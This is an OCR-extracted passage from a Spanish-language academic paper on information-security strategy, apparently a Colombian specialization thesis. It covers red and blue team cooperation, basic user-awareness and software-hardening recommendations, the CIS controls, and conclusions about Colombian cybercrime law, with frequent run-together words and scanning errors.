Teniendo en cuentaque estos dos equipos se complementan, es importante promover
el trabajo en equipo y existen procesos especificos en la estrategia, por eso, por
ejemplo, cuando el equipo azulimplementabarreras de seguridad, estas son probadas
por el equiporojo. Mantener unabuenacomunicacion esimportante, puessi el equipo
rojo logra identificar la vulnerabilidad, se debe comunicar al equipo azul para que
puedan establecer actividades de prevencion y respuesta ante esta nueva
vulnerabilidad, pero para completar su trabajo, deben entendercomo se produce. esta
Completado. Utilizo esta vulnerabilidad como un aspecto importante para registrar
inconsistencias o ataques en los ultimos afios, y poder analizar y evaluar sus
estrategias y como mejorarlas para responder a posibles ataques.

Estar en constante busqueda de nuevas formas de ataque, contencion de los mismos
y herramientas que les permitird no solo estar al dia en sus conocimientossi no a

preservar la seguridad de la comparfiia con mayor eficiencia.28
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6. RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS QUE
ORGANIZACION.

Cuando estamos verificando unaestrategia de seguridad informatica es que debemos
tener en cuenta el factor humano tanto como en factor tecnoldgico, ya que la mayoria
de los ataques parten del mal usode los sistemasy los equipostecnoldgicos,es por eso
que dentro de la estrategia debe estar la concientizacion y sensibilizacion de la
seguridadinformaticaa los usuarios, y establecer las actividades u operacionesque se
puedan convertir en una vulnerabilidad como, por ejemplo:

1. Tener cuidado con los adjuntos del correo, que se aseguren que la
fuente del correo sea confiable antes de abrir o ejecutar un adjunto
de un correo de unorigen desconocido.

2. Indicarles a los usuarios que existen redes de navegacién seguras
y que otras no son tan seguras y que por ejemplo si vamos hacer
algunatransaccion bancaria, se aseguren que en la URL diga https
eso nosasegura que esesitio donde voy a realizar mi transaccion es
confiable y seguro.

3. Normalmente los equipos de cOmputo cuentan con un antivirus o
antimalware que nos permite hacer una deteccion temprana de
posibles intrusos, por eso se debe recomendar que cada vez que
se haga uso de dispositivos de almacenamiento extraibles estos
sean escaneados por el antivirus, ya que se ha convertido en uno
de los medios de mayor propagacion de virus.

A nivel software también se tienen algunas recomendaciones:

1. Instalar las actualizaciones de nuestros sistemas operativos, ya que
los desarrolladores del mismo estan constantemente liberando
parches de seguridad del sistema.

2. Verificar que los equipos de la empresa tengan un buen antimalware y
firewall, y que estos siempre estén actualizando su base de datos
constantemente.

Otra recomendacion para endurecer las estrategias de seguridad en una
organizacion es que se debe estar en constante evaluacién, es por esto que se
recomienda el uso de los controles CIS (Center For Internet Security), que nos
brindalos pasos a seguir ante un ataque informatico no solo los ataques

31



Conocidos si no hasta los mas complejos, ya que al ser una comunidad a nivel mundial
cuentacon la base de datos de los ataques de todo el mundo. Unade las funcionalidades
mas importantes de CIS es que ya proporciona el marco legal y como proceder en estos
casos.
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CONCLUSIONES

Para el Especialista en Seguridad Informatica es de vital importancia conocer los
diferentes delitos informéticos contemplados en las leyes colombianas, no solo para
intentar proteger la red que administra frente aellos, sinotambién para concienciara
nivel laboral, social y personal a su entorno, de las diferentesamenazasinformaticas
gue pueden presentarsea diario.

Realizar actividades en las cuales se ponen a pruebalos conocimientos informaticos
para la busqueday hallazgo de posibles vulnerabilidades, asicomo su tratamiento
para mitigar y evitar amenazas o ataques

Entender como se presentan los riesgos a la seguridad de la informacion por medio
de vulnerabilidades en un sistema, haciéndolas aptas para su explotacion, la
identificacion y mitigacion de amenazas debe ser unatareaen constante desarrollo
gue no se permite pausas, mantenerse al tanto denuevas vulnerabilidades y formas
de aprovecharlaasi como la manera decontrarrestarlas puede ayudaral especialista
en seguridad de la informacion a estar un paso antes y brindar la seguridad que
requiere su sistema.
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